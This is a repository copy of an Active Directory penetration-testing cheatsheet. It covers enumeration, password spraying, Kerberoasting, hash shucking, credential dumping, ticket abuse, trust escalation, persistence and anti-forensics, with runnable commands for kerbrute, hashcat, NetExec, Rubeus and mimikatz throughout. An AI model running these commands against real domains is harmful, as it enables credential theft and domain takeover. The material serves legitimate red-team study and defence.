repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
overview.mdMarkdown1,016 lines73.3 KiBsource raw download

title: "Active Directory Methodology" section: "Windows" sectionSlug: "windows-hardening" sourcePath: "src/windows-hardening/active-directory-methodology/README.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/active-directory-methodology/README.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: true modified: true license: "CC-BY-NC-4.0"#

Active Directory Methodology#

Basic overview#

Active Directory serves as a foundational technology, enabling network administrators to efficiently create and manage domains, users, and objects within a network. It is engineered to scale, facilitating the organization of an extensive number of users into manageable groups and subgroups, while controlling access rights at various levels.

The structure of Active Directory is comprised of three primary layers: domains, trees, and forests. A domain encompasses a collection of objects, such as users or devices, sharing a common database. Trees are groups of these domains linked by a shared structure, and a forest represents the collection of multiple trees, interconnected through trust relationships, forming the uppermost layer of the organizational structure. Specific access and communication rights can be designated at each of these levels.

Key concepts within Active Directory include:

  1. Directory – Houses all information pertaining to Active Directory objects.
  2. Object – Denotes entities within the directory, including users, groups, or shared folders.
  3. Domain – Serves as a container for directory objects, with the capability for multiple domains to coexist within a forest, each maintaining its own object collection.
  4. Tree – A grouping of domains that share a common root domain.
  5. Forest – The pinnacle of organizational structure in Active Directory, composed of several trees with trust relationships among them.

Active Directory Domain Services (AD DS) encompasses a range of services critical for the centralized management and communication within a network. These services comprise:

  1. Domain Services – Centralizes data storage and manages interactions between users and domains, including authentication and search functionalities.
  2. Certificate Services – Oversees the creation, distribution, and management of secure digital certificates.
  3. Lightweight Directory Services – Supports directory-enabled applications through the LDAP protocol.
  4. Directory Federation Services – Provides single-sign-on capabilities to authenticate users across multiple web applications in a single session.
  5. Rights Management – Assists in safeguarding copyright material by regulating its unauthorized distribution and use.
  6. DNS Service – Crucial for the resolution of domain names.

For a more detailed explanation check: TechTerms - Active Directory Definition

Kerberos Authentication#

To learn how to attack an AD you need to understand really good the Kerberos authentication process.
Read this page if you still don't know how it works.

Cheat Sheet#

You can take a lot to https://wadcoms.github.io/ to have a quick view of which commands you can run to enumerate/exploit an AD.

[!WARNING] Kerberos communication normally requires a fully qualified domain name (FQDN) so that the client can obtain a ticket for the correct SPN. Accessing a machine by IP address commonly falls back to NTLM instead of Kerberos.

Recon Active Directory (No creds/sessions)#

If you just have access to an AD environment but you don't have any credentials/sessions you could:

Pentesting Smb

Pentesting Ldap

User enumeration#

./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases

nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='DOMAIN'" <IP>
Nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='<domain>',userdb=/root/Desktop/usernames.txt <IP>

msf> use auxiliary/gather/kerberos_enumusers

crackmapexec smb dominio.es  -u '' -p '' --users | awk '{print $4}' | uniq
python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/NauthNRPC

If you found one of these servers in the network you can also perform user enumeration against it. For example, you could use the tool MailSniper:

ipmo C:\Tools\MailSniper\MailSniper.ps1
# Get info about the domain
Invoke-DomainHarvestOWA -ExchHostname [ip]
# Enumerate valid users from a list of potential usernames
Invoke-UsernameHarvestOWA -ExchHostname [ip] -Domain [domain] -UserList .\possible-usernames.txt -OutFile valid.txt
# Password spraying
Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summer2021
# Get addresses list from the compromised mail
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt

[!WARNING] You can find lists of usernames in this github repo and this one (statistically-likely-usernames).

However, you should have the name of the people working on the company from the recon step you should have performed before this. With the name and surname you could used the script namemash.py to generate potential valid usernames.

Netlogon vulnerable-channel allow-list abuse (Onelogon)#

Even after Zerologon is patched on the DC, explicitly allow-listed accounts can still be exposed to legacy/vulnerable Netlogon secure-channel behavior. The risky configuration is the GPO Domain controller: Allow vulnerable Netlogon secure channel connections or the matching registry value HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\VulnerableChannelAllowList.

That value is an SDDL security descriptor (see Security Descriptors). Any account or group granted the relevant ACE in the DACL can be targeted. For example, O:BAG:BAD:(A;;RC;;;WD) effectively allow-lists Everyone.

Practical operator workflow:

  1. Identify allow-listed principals by checking both SYSVOL/GPO and the live DC registry.
  2. Resolve SIDs found in the SDDL to real AD users/computers and prioritize DC machine accounts, trust accounts, and other privileged machines.
  3. Repeatedly attempt MS-NRPC / Netlogon authentication as the allow-listed account.
  4. After a successful guess, abuse Netlogon password-setting to reset the target account password (the public PoC sets it to an empty string).[9][10]

Quick triage / lab examples from the public artifact:

# Enumerate allow-listed accounts (scanner requires privileged registry access on the DC)
poetry run scan --dc-ip <DC_IP> --username <USER> --password <PASSWORD>

# Meet-in-the-middle attack against an allow-listed account
poetry run onelogon --dc-ip <DC_IP> --dc-name <DC_HOSTNAME> --username '<TARGET_ACCOUNT>'

# Faster 24-bit brute force when you control another computer account
poetry run onelogon --dc-ip <DC_IP> --dc-name <DC_HOSTNAME> --username '<TARGET_ACCOUNT>' \
  --comp-username '<COMP_ACCOUNT>' --comp-pass '<COMP_PASSWORD>'

Notes:

Detection / hardening notes:

Knowing one or several usernames#

Ok, so you know you have already a valid username but no passwords... Then try:

Password Spraying

LLMNR/NBT-NS Poisoning#

You might be able to obtain some challenge hashes to crack poisoning some protocols of the network:

Spoofing Llmnr Nbt Ns Mdns Dns And Wpad And Relay Attacks

NTLM Relay#

Active Directory enumeration provides usernames, email identifiers and naming patterns, candidate hosts, and services that may be coerced into authenticating. Use that context to identify viable NTLM relay attacks and potential paths into the AD environment.

NetExec workspace-driven recon & relay posture checks#

netexec smb 10.2.10.0/24 --generate-hosts-file hosts
cat hosts /etc/hosts | sponge /etc/hosts

Client-side printer credential leaks → bulk domain credential validation#

cat IT_Procedures.txt | grep Username: | cut -d' ' -f2 > usernames
cat IT_Procedures.txt | grep Password: | cut -d' ' -f3 > passwords
netexec smb <dc> -u usernames -p passwords --no-bruteforce --continue-on-success

Steal NTLM Creds#

If you can access other PCs or shares with the null or guest user you could place files (like a SCF file) that if somehow accessed will trigger an NTLM authentication against you so you can steal the NTLM challenge to crack it:

Places To Steal Ntlm Creds

Hash Shucking & NT-Candidate Attacks#

Hash shucking treats every NT hash you already possess as a candidate password for other, slower formats whose key material is derived directly from the NT hash. Instead of brute-forcing long passphrases in Kerberos RC4 tickets, NetNTLM challenges, or cached credentials, you feed the NT hashes into Hashcat’s NT-candidate modes and let it validate password reuse without ever learning the plaintext. This is especially potent after a domain compromise where you can harvest thousands of current and historical NT hashes.[5]

Use shucking when:

The technique does not work against encryption types whose keys are not the NT hash (e.g., Kerberos etype 17/18 AES). If a domain enforces AES-only, you must revert to the regular password modes.

Building an NT hash corpus#

Dcsync

Hashcat NT-candidate modes#

Hash Type Password Mode NT-Candidate Mode
Domain Cached Credentials (DCC) 1100 31500
Domain Cached Credentials 2 (DCC2) 2100 31600
NetNTLMv1 / NetNTLMv1+ESS 5500 27000
NetNTLMv2 5600 27100
Kerberos 5 etype 23 AS-REQ Pre-Auth 7500 N/A
Kerberos 5 etype 23 TGS-REP (Kerberoast) 13100 35300
Kerberos 5 etype 23 AS-REP 18200 35400

Notes:

Example – Kerberoast RC4 (mode 35300)#

  1. Capture an RC4 TGS for a target SPN with a low-privileged user (see the Kerberoast page for details):

Kerberoast

GetUserSPNs.py -dc-ip <dc_ip> -request <domain>/<user> -outputfile roastable_TGS
  1. Shuck the ticket with your NT list:

    hashcat -m 35300 roastable_TGS nt_candidates.txt
    

    Hashcat derives the RC4 key from each NT candidate and validates the $krb5tgs$23$... blob. A match confirms that the service account uses one of your existing NT hashes.

  2. Immediately pivot via PtH:

    nxc smb <dc_ip> -u roastable -H <matched_nt_hash>
    

    You can optionally recover the plaintext later with hashcat -m 1000 <matched_hash> wordlists/ if needed.

Example – Cached credentials (mode 31600)#

  1. Dump cached logons from a compromised workstation:

    nxc smb <host_ip> -u localadmin -p '<password>' --local-auth --lsa > lsa_dump.txt
    
  2. Copy the DCC2 line for the interesting domain user into dcc2_highpriv.txt and shuck it:

    hashcat -m 31600 dcc2_highpriv.txt nt_candidates.txt
    
  3. A successful match yields the NT hash already known in your list, proving that the cached user is reusing a password. Use it directly for PtH (nxc smb <dc_ip> -u highpriv -H <hash>) or brute-force it in fast NTLM mode to recover the string.

The exact same workflow applies to NetNTLM challenge-responses (-m 27000/27100) and DCC (-m 31500). Once a match is identified you can launch relay, SMB/WMI/WinRM PtH, or re-crack the NT hash with masks/rules offline.

Enumerating Active Directory WITH credentials/session#

For this phase you need to have compromised the credentials or a session of a valid domain account. If you have some valid credentials or a shell as a domain user, you should remember that the options given before are still options to compromise other users.

Before starting authenticated enumeration, understand the Kerberos double-hop problem.

Kerberos Double Hop Problem

Enumeration#

Compromising an account is a major step toward assessing the domain, because it enables authenticated Active Directory enumeration:

Regarding ASREPRoast you can now find every possible vulnerable user, and regarding Password Spraying you can get a list of all the usernames and try the password of the compromised account, empty passwords and new promising passwords.

Even if this Enumeration section looks small this is the most important part of all. Access the links (mainly the one of cmd, powershell, powerview and BloodHound), learn how to enumerate a domain and practice until you feel comfortable. During an assessment, this will be the key moment to find your way to DA or to decide that nothing can be done.

Predictable pre-created computer accounts -> gMSA password access#

Computer accounts staged for legacy joins can retain a predictable initial password. NetExec's pre2k module identifies the characteristic userAccountControl value 4128 (WORKSTATION_TRUST_ACCOUNT | PASSWD_NOTREQD) and attempts a Kerberos TGT with the first 14 characters of the lowercase computer name, without the trailing $. Treat this UAC value as a candidate selector rather than assuming that membership in Pre-Windows 2000 Compatible Access alone proves the password is weak.[18][20]

Use authenticated LDAP enumeration to test the candidates and save successful TGTs. ALL=True expands testing beyond objects with the default 4128 filter.[18]

netexec ldap dc.corp.local -u auditor -p 'Password!' -M pre2k
netexec ldap dc.corp.local -u auditor -p 'Password!' -M pre2k -o ALL=True

# Validate a candidate explicitly with Kerberos
netexec ldap dc.corp.local -u 'APP01$' -p app01 -k

A failed default/NTLM bind does not invalidate this finding: test with -k, an FQDN that resolves to the DC, and a clock synchronized with the KDC. Successful module runs write candidate lists and acquired ccaches below ~/.nxc/modules/pre2k/.[18][20]

After compromising the computer principal, graph its nested group memberships and outbound rights. In particular, principals named in a gMSA's msDS-GroupMSAMembership security descriptor can read msDS-ManagedPassword; NetExec's --gmsa output shows the allowed principals and returns the current NT hash when the authenticating computer is authorized.[19][20]

# Enumerate gMSAs and their password readers with the initial user
netexec ldap dc.corp.local -u auditor -p 'Password!' --gmsa

# Re-query as the compromised computer through Kerberos
netexec ldap dc.corp.local -u 'APP01$' -p app01 -k --gmsa

Then evaluate the recovered gMSA like any other credential: inspect local/domain group membership, logon rights, SPNs, delegation, and reachable services before trying pass-the-hash. This ACL-based retrieval path is distinct from Golden gMSA/dMSA, which derives managed passwords after KDS root-key compromise.[20]

Kerberoast#

Kerberoasting involves obtaining TGS tickets used by services tied to user accounts and cracking their encryption—which is based on user passwords—offline.

More about this in:

Kerberoast

Remote connection (RDP, SSH, FTP, Win-RM, etc.)#

Once you have obtained some credentials you could check if you have access to any machine. For that matter, you could use CrackMapExec to attempt connecting on several servers with different protocols, accordingly to your ports scans.

Local Privilege Escalation#

If you have compromised credentials or a session as a regular domain user and can access any machine in the domain, look for a path to escalate privileges locally and collect credentials. Local administrator privileges may allow you to dump other users' hashes from memory (LSASS) and local storage (SAM).

There is a complete page in this book about local privilege escalation in Windows and a checklist. Also, don't forget to use WinPEAS.

Current Session Tickets#

It's very unlikely that you will find tickets in the current user giving you permission to access unexpected resources, but you could check:

## List all tickets (if not admin, only current user tickets)
.\Rubeus.exe triage
## Dump the interesting one by luid
.\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))

NTLM Relay#

With domain credentials or a user session, revisit NTLM relay attacks: authenticated enumeration and coercion techniques can expose relay paths that were unavailable during unauthenticated reconnaissance.

Looks for Creds in Computer Shares | SMB Shares#

Now that you have some basic credentials you should check if you can find any interesting files being shared inside the AD. You could do that manually but it's a very boring repetitive task (and more if you find hundreds of docs you need to check).

Follow this link to learn about tools you could use.

Steal NTLM Creds#

If you can access other PCs or shares you could place files (like a SCF file) that if somehow accessed will trigger an NTLM authentication against you so you can steal the NTLM challenge to crack it:

Places To Steal Ntlm Creds

CVE-2021-1675/CVE-2021-34527 PrintNightmare#

This vulnerability allowed any authenticated user to compromise the domain controller.

Printnightmare

Privilege escalation on Active Directory WITH privileged credentials/session#

For the following techniques a regular domain user is not enough, you need some special privileges/credentials to perform these attacks.

Hash extraction#

Hopefully you have managed to compromise some local admin account using AsRepRoast, Password Spraying, Kerberoast, Responder including relaying, EvilSSDP, escalating privileges locally.
Then, its time to dump all the hashes in memory and locally.
Read this page about different ways to obtain the hashes.

Pass the Hash#

Once you have the hash of a user, you can use it to impersonate it.
You need to use some tool that will perform the NTLM authentication using that hash, or you could create a new sessionlogon and inject that hash inside the LSASS, so when any NTLM authentication is performed, that hash will be used. The last option is what mimikatz does.
Read this page for more information.

Over Pass the Hash/Pass the Key#

This attack aims to use the user NTLM hash to request Kerberos tickets, as an alternative to the common Pass The Hash over NTLM protocol. Therefore, this could be especially useful in networks where NTLM protocol is disabled and only Kerberos is allowed as authentication protocol.

Over Pass The Hash Pass The Key

Pass the Ticket#

In the Pass The Ticket (PTT) attack method, attackers steal a user's authentication ticket instead of their password or hash values. This stolen ticket is then used to impersonate the user, gaining unauthorized access to resources and services within a network.

Pass The Ticket

Credentials Reuse#

If you have the hash or password of a local administrator you should try to login locally to other PCs with it.

# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +

[!WARNING] Note that this is quite noisy and LAPS would mitigate it.

If a user has privileges to access MSSQL instances, he could be able to use it to execute commands in the MSSQL host (if running as SA), steal the NetNTLM hash or even perform a relay attack.
If an MSSQL instance is trusted through a database link by another instance, a user with privileges over the linked database may be able to use the trust relationship to execute queries on the other instance. These trusts can be chained and may eventually reach a misconfigured database where the user can execute commands.
The links between databases work even across forest trusts.

Abusing Ad Mssql

IT asset/deployment platforms abuse#

Third-party inventory and deployment suites often expose powerful paths to credentials and code execution. See:

Sccm Management Point Relay Sql Policy Secrets

Lansweeper Security

Unconstrained Delegation#

If you find any Computer object with the attribute ADS_UF_TRUSTED_FOR_DELEGATION and you have domain privileges in the computer, you will be able to dump TGTs from memory of every users that logins onto the computer.
So, if a Domain Admin logins onto the computer, you will be able to dump his TGT and impersonate him using Pass the Ticket.
Thanks to constrained delegation you could even automatically compromise a Print Server (hopefully it will be a DC).

Unconstrained Delegation

Constrained Delegation#

If a user or computer is allowed for "Constrained Delegation" it will be able to impersonate any user to access some services in a computer.
Then, if you compromise the hash of this user/computer you will be able to impersonate any user (even domain admins) to access some services.

Constrained Delegation

Resourced-based Constrain Delegation#

Having WRITE privilege on an Active Directory object of a remote computer enables the attainment of code execution with elevated privileges:

Resource Based Constrained Delegation

Permissions/ACLs Abuse#

The compromised user could have some interesting privileges over some domain objects that could let you move laterally/escalate privileges.

Acl Persistence Abuse

Printer Spooler service abuse#

Discovering a Spool service listening within the domain can be abused to acquire new credentials and escalate privileges.

Printers Spooler Service Abuse

Third party sessions abuse#

If other users access the compromised machine, it's possible to gather credentials from memory and even inject beacons in their processes to impersonate them.
Usually users will access the system via RDP, so here you have how to performa couple of attacks over third party RDP sessions:

Rdp Sessions Abuse

LAPS#

LAPS provides a system for managing the local Administrator password on domain-joined computers, ensuring it's randomized, unique, and frequently changed. These passwords are stored in Active Directory and access is controlled through ACLs to authorized users only. With sufficient permissions to access these passwords, pivoting to other computers becomes possible.

Laps

Certificate Theft#

Gathering certificates from the compromised machine could be a way to escalate privileges inside the environment:

Certificate Theft

Certificate Templates Abuse#

If vulnerable templates are configured it's possible to abuse them to escalate privileges:

Domain Escalation

Post-exploitation with high privilege account#

Dumping Domain Credentials#

Once you get Domain Admin or even better Enterprise Admin privileges, you can dump the domain database: ntds.dit.

More information about DCSync attack can be found here.

More information about how to steal the NTDS.dit can be found here

Privesc as Persistence#

Some of the techniques discussed before can be used for persistence.
For example you could:

Silver Ticket#

The Silver Ticket attack creates a legitimate Ticket Granting Service (TGS) ticket for a specific service by using the NTLM hash (for instance, the hash of the PC account). This method is employed to access the service privileges.

Silver Ticket

Golden Ticket#

A Golden Ticket attack involves an attacker gaining access to the NTLM hash of the krbtgt account in an Active Directory (AD) environment. This account is special because it's used to sign all Ticket Granting Tickets (TGTs), which are essential for authenticating within the AD network.

Once the attacker obtains this hash, they can create TGTs for any account they choose (Silver ticket attack).

Golden Ticket

Diamond Ticket#

These are like golden tickets forged in a way that bypasses common golden tickets detection mechanisms.

Diamond Ticket

Certificates Account Persistence#

Having certificates of an account or being able to request them is a very good way to be able to persist in the users account (even if he changes the password):

Account Persistence

Certificates Domain Persistence#

Using certificates is also possible to persist with high privileges inside the domain:

Domain Persistence

AdminSDHolder Group#

The AdminSDHolder object in Active Directory ensures the security of privileged groups (like Domain Admins and Enterprise Admins) by applying a standard Access Control List (ACL) across these groups to prevent unauthorized changes. However, this feature can be exploited; if an attacker modifies the AdminSDHolder's ACL to give full access to a regular user, that user gains extensive control over all privileged groups. This security measure, meant to protect, can thus backfire, allowing unwarranted access unless closely monitored.

More information about AdminDSHolder Group here.

DSRM Credentials#

Inside every Domain Controller (DC), a local administrator account exists. By obtaining admin rights on such a machine, the local Administrator hash can be extracted using mimikatz. Following this, a registry modification is necessary to enable the use of this password, allowing for remote access to the local Administrator account.

Dsrm Credentials

ACL Persistence#

You could give some special permissions to a user over some specific domain objects that will let the user escalate privileges in the future.

Acl Persistence Abuse

Security Descriptors#

The security descriptors are used to store the permissions an object have over an object. If you can just make a little change in the security descriptor of an object, you can obtain very interesting privileges over that object without needing to be member of a privileged group.

Security Descriptors

Dynamic Objects Anti-Forensics / Evasion#

Abuse the dynamicObject auxiliary class to create short-lived principals/GPOs/DNS records with entryTTL/msDS-Entry-Time-To-Die; they self-delete without tombstones, erasing LDAP evidence while leaving orphan SIDs, broken gPLink references, or cached DNS responses (e.g., AdminSDHolder ACE pollution or malicious gPCFileSysPath/AD-integrated DNS redirects).

Ad Dynamic Objects Anti Forensics

Skeleton Key#

Alter LSASS in memory to establish a universal password, granting access to all domain accounts.

Skeleton Key

Custom SSP#

Learn what is a SSP (Security Support Provider) here.
You can create you own SSP to capture in clear text the credentials used to access the machine.

Custom Ssp

DCShadow#

It registers a new Domain Controller in the AD and uses it to push attributes (SIDHistory, SPNs...) on specified objects without leaving any logs regarding the modifications. You need DA privileges and be inside the root domain.
Note that if you use wrong data, pretty ugly logs will appear.

Dcshadow

LAPS Persistence#

Previously we have discussed about how to escalate privileges if you have enough permission to read LAPS passwords. However, these passwords can also be used to maintain persistence.
Check:

Laps

Forest Privilege Escalation - Domain Trusts#

Microsoft views the Forest as the security boundary. This implies that compromising a single domain could potentially lead to the entire Forest being compromised.[1]

Basic Information#

A domain trust is a security mechanism that enables a user from one domain to access resources in another domain. It essentially creates a linkage between the authentication systems of the two domains, allowing authentication verifications to flow seamlessly. When domains set up a trust, they exchange and retain specific keys within their Domain Controllers (DCs), which are crucial to the trust's integrity.

In a typical scenario, if a user intends to access a service in a trusted domain, they must first request a special ticket known as an inter-realm TGT from their own domain's DC. This TGT is encrypted with a shared key that both domains have agreed upon. The user then presents this TGT to the DC of the trusted domain to get a service ticket (TGS). Upon successful validation of the inter-realm TGT by the trusted domain's DC, it issues a TGS, granting the user access to the service.

Steps:

  1. A client computer in Domain 1 starts the process by using its NTLM hash to request a Ticket Granting Ticket (TGT) from its Domain Controller (DC1).
  2. DC1 issues a new TGT if the client is authenticated successfully.
  3. The client then requests an inter-realm TGT from DC1, which is needed to access resources in Domain 2.
  4. The inter-realm TGT is encrypted with a trust key shared between DC1 and DC2 as part of the two-way domain trust.
  5. The client takes the inter-realm TGT to Domain 2's Domain Controller (DC2).
  6. DC2 verifies the inter-realm TGT using its shared trust key and, if valid, issues a Ticket Granting Service (TGS) for the server in Domain 2 the client wants to access.
  7. Finally, the client presents this TGS to the server, which is encrypted with the server’s account hash, to get access to the service in Domain 2.

Different trusts#

It's important to notice that a trust can be 1 way or 2 ways. In the 2 ways options, both domains will trust each other, but in the 1 way trust relation one of the domains will be the trusted and the other the trusting domain. In the last case, you will only be able to access resources inside the trusting domain from the trusted one.

If Domain A trusts Domain B, A is the trusting domain and B ins the trusted one. Moreover, in Domain A, this would be an Outbound trust; and in Domain B, this would be an Inbound trust.

Different trusting relationships

Other differences in trusting relationships#

Attack Path#

  1. Enumerate the trusting relationships
  2. Check if any security principal (user/group/computer) has access to resources of the other domain, maybe by ACE entries or by being in groups of the other domain. Look for relationships across domains (the trust was created for this probably).
    1. kerberoast in this case could be another option.
  3. Compromise the accounts which can pivot through domains.

Attackers with could access to resources in another domain through three primary mechanisms:

Find external users/groups with permissions#

You can check CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com to find foreign security principals in the domain. These will be user/group from an external domain/forest.

You could check this in Bloodhound or using powerview:

# Get users that are i groups outside of the current domain
Get-DomainForeignUser

# Get groups inside a domain with users our
Get-DomainForeignGroupMember

Child-to-Parent forest privilege escalation#

# From PowerView
Get-DomainTrust

SourceName      : sub.domain.local    --> current domain
TargetName      : domain.local        --> foreign domain
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST       --> WITHIN_FOREST: Both in the same forest
TrustDirection  : Bidirectional       --> Trust direction (2ways in this case)
WhenCreated     : 2/19/2021 1:28:00 PM
WhenChanged     : 2/19/2021 1:28:00 PM

Other ways to enumerate domain trusts:

# Get DCs
nltest /dsgetdc:<DOMAIN>

# Get all domain trusts
nltest /domain_trusts /all_trusts /v

# Get all trust of a domain
nltest /dclist:sub.domain.local
nltest /server:dc.sub.domain.local /domain_trusts /all_trusts

[!WARNING] There are 2 trusted keys, one for Child --> Parent and another one for Parent --> Child.
You can the one used by the current domain them with:

Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"'

SID-History Injection#

Escalate as Enterprise admin to the child/parent domain abusing the trust with SID-History injection:

Sid History Injection

Exploit writeable Configuration NC#

Understanding how the Configuration Naming Context (NC) can be exploited is crucial. The Configuration NC serves as a central repository for configuration data across a forest in Active Directory (AD) environments. This data is replicated to every Domain Controller (DC) within the forest, with writable DCs maintaining a writable copy of the Configuration NC. To exploit this, one must have SYSTEM privileges on a DC, preferably a child DC.

Link GPO to root DC site

The Configuration NC's Sites container includes information about all domain-joined computers' sites within the AD forest. By operating with SYSTEM privileges on any DC, attackers can link GPOs to the root DC sites. This action potentially compromises the root domain by manipulating policies applied to these sites.

For in-depth information, one might explore research on Bypassing SID Filtering.[12]

Compromise any gMSA in the forest

An attack vector involves targeting privileged gMSAs within the domain. The KDS Root key, essential for calculating gMSAs' passwords, is stored within the Configuration NC. With SYSTEM privileges on any DC, it's possible to access the KDS Root key and compute the passwords for any gMSA across the forest.

Detailed analysis and step-by-step guidance can be found in:

Golden Dmsa Gmsa

Complementary delegated MSA attack (BadSuccessor – abusing migration attributes):

Badsuccessor Dmsa Migration Abuse

Additional external research: Golden gMSA Trust Attacks.[13]

Schema change attack

This method requires patience, waiting for the creation of new privileged AD objects. With SYSTEM privileges, an attacker can modify the AD Schema to grant any user complete control over all classes. This could lead to unauthorized access and control over newly created AD objects.

Further reading is available on Schema Change Trust Attacks.[14]

From DA to EA with ADCS ESC5

The ADCS ESC5 vulnerability targets control over Public Key Infrastructure (PKI) objects to create a certificate template that enables authentication as any user within the forest. As PKI objects reside in the Configuration NC, compromising a writable child DC enables the execution of ESC5 attacks.

More details on this can be read in From DA to EA with ESC5.[15] In scenarios lacking ADCS, the attacker has the capability to set up the necessary components, as discussed in Escalating from Child Domain Admins to Enterprise Admins.[16]

External Forest Domain - One-Way (Inbound) or bidirectional#

Get-DomainTrust
SourceName      : a.domain.local   --> Current domain
TargetName      : domain.external  --> Destination domain
TrustType       : WINDOWS-ACTIVE_DIRECTORY
TrustAttributes :
TrustDirection  : Inbound          --> Inboud trust
WhenCreated     : 2/19/2021 10:50:56 PM
WhenChanged     : 2/19/2021 10:50:56 PM

In this scenario your domain is trusted by an external one giving you undetermined permissions over it. You will need to find which principals of your domain have which access over the external domain and then try to exploit it:

External Forest Domain Oneway Inbound

External Forest Domain - One-Way (Outbound)#

Get-DomainTrust -Domain current.local

SourceName      : current.local   --> Current domain
TargetName      : external.local  --> Destination domain
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection  : Outbound        --> Outbound trust
WhenCreated     : 2/19/2021 10:15:24 PM
WhenChanged     : 2/19/2021 10:15:24 PM

In this scenario your domain is trusting some privileges to principal from a different domains.

However, when a domain is trusted by the trusting domain, the trusted domain creates a user with a predictable name that uses as password the trusted password. Which means that it's possible to access a user from the trusting domain to get inside the trusted one to enumerate it and try to escalate more privileges:

External Forest Domain One Way Outbound

Another way to compromise the trusted domain is to find a SQL trusted link created in the opposite direction of the domain trust (which isn't very common).

Another way to compromise the trusted domain is to wait in a machine where a user from the trusted domain can access to login via RDP. Then, the attacker could inject code in the RDP session process and access the origin domain of the victim from there.
Moreover, if the victim mounted his hard drive, from the RDP session process the attacker could store backdoors in the startup folder of the hard drive. This technique is called RDPInception.

Rdp Sessions Abuse

Domain trust abuse mitigation#

SID Filtering:#

Selective Authentication:#

More information about domain trusts in ired.team.[3]

LDAP-based AD Abuse from On-Host Implants#

The LDAP BOF Collection re-implements bloodyAD-style LDAP primitives as x64 Beacon Object Files that run entirely inside an on-host implant (e.g., Adaptix C2). Operators compile the pack with git clone https://github.com/P0142/ldap-bof-collection.git && cd ldap-bof-collection && make, load ldap.axs, and then call ldap <subcommand> from the beacon. All traffic rides the current logon security context over LDAP (389) with signing/sealing or LDAPS (636) with auto certificate trust, so no socks proxies or disk artifacts are required.[4]

Implant-side LDAP enumeration#

ldap get-users --ldaps
ldap get-computers -ou "OU=Servers,DC=corp,DC=local"
ldap get-writable --detailed
ldap get-acl "CN=Tier0,OU=Admins,DC=corp,DC=local"

LDAP write primitives for escalation & persistence#

Delegation, roasting, and Kerberos abuse#

sidHistory injection, OU relocation, and attack surface shaping#

AD -> Azure & Azure -> AD#

Index.Html

Some General Defenses#

Learn more about how to protect credentials here.

Defensive Measures for Credential Protection#

Ldap Signing And Channel Binding

Protocol-level fingerprinting of Impacket activity#

If you want to detect common AD tradecraft, do not rely only on operator-controlled artifacts such as renamed binaries, service names, temp batch files, or output paths. Baseline how legitimate Windows clients build Kerberos, NTLM, SMB, LDAP, DCE/RPC, and WMI traffic, then look for implementation quirks that remain even after the operator edits psexec.py, wmiexec.py, dcomexec.py, atexec.py, or ntlmrelayx.py.[8]

Implementing Deception Techniques#

Identifying Deception#

Bypassing Detection Systems#

References#